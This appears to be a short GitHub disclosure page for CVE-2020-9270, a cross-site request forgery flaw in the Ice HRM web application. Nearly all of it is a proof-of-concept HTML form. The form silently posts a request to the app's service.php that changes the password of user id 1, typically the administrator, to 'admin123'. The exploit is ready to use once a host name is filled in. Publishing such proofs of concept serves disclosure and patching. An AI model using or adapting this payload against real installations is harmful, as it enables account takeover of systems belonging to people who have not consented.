J3rryBl4nks Update ChangeUserPasswordCSRF.md History

1 contributor

34 lines (18 sloc) | 710 Bytes

The Ice HRM web application is vulnerable to CSRF to change the password of an arbitrary user:

CVE-2020-9270

CSRF POC:

```
<html>
  <body>
  <script>history.pushState('', '', '/')</script>
    <form action="http://HOSTHERE/icehrm/app/service.php">
      <input type="hidden" name="t" value="User" />
      <input type="hidden" name="a" value="ca" />
      <input type="hidden" name="sa" value="changePassword" />
      <input type="hidden" name="mod" value="admin&#61;users" />
      <input type="hidden" name="req" value="&#123;&quot;id&quot;&#58;1&#44;&quot;pwd&quot;&#58;&quot;admin123&quot;&#125;" />
      <input type="submit" value="Submit request" />
    </form>
  </body>
</html>
```